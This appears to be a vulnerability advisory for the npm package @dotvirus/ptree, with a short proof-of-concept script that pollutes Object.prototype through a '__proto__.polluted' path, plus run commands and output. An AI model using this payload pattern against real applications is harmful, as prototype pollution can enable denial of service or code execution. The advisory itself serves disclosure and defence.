vulnerability prototype pollution
severity 6.5
language javascript
registry npm


@dotvirus/ptree is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const ptree = require('@dotvirus/ptree').default

console.log('Before: ' + {}.polluted)
const tree = new ptree({})
tree.set('__proto__.polluted', true)
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i @dotvirus/ptree # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.